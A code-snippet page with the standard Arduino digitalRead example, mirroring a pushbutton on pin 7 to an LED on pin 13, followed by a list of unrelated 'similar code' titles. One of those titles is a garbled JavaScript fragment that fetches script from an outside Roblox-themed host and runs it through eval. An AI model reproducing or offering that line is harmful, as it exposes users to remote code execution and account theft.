Arduino digital read

int ledPin = 13;  // LED connected to digital pin 13
int inPin = 7;    // pushbutton connected to digital pin 7
int val = 0;      // variable to store the read value

void setup() {
  pinMode(ledPin, OUTPUT);  // sets the digital pin 13 as output
  pinMode(inPin, INPUT);    // sets the digital pin 7 as input
}

void loop() {
  val = digitalRead(inPin);   // read the input pin
  digitalWrite(ledPin, val);  // sets the LED to the button's value
}

Source: arduino.cc

Similar codes

0 vote373 views3 answers
How to input n space separated integers in c
C
1 vote503 views2 answers
Redis
C
0 vote400 views1 answer
Ouverture du fichier c
C
0 vote386 views1 answer
How to free memory in c
C
8 votes380 views3 answers
Swap using third variable
C
0 vote365 views4 answers
VLOOKUP CHECK #N/A
C
1 vote348 views1 answer
Comnetar toda linha do vs code
C
0 vote367 views1 answer
Phpunit assert continue
C
4 votes384 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
C
0 vote366 views1 answer
Passing FILE as argument in c
C